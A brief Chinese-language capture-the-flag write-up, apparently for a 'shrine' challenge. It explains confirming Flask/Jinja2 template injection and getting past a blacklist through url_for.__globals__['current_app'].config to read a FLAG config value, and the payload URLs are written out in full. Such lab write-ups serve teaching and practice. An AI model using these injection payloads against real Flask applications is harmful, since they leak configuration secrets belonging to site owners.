打开题目

直接查看源代码

发现注册了一个名为FLAG的config，这里可能有flag，

存在flask-jinja2模板注入，

并且存在黑名单过滤

输入shrine/{{7*7}}验证成功

通过url_for()与globals()函数，绕过黑名单

/shrine/{{url_for.__globals__}}

发现了current_app()函数

查看这个里面的config。

/shrine/{{url_for.__globals__['current_app'].config}}

得到flag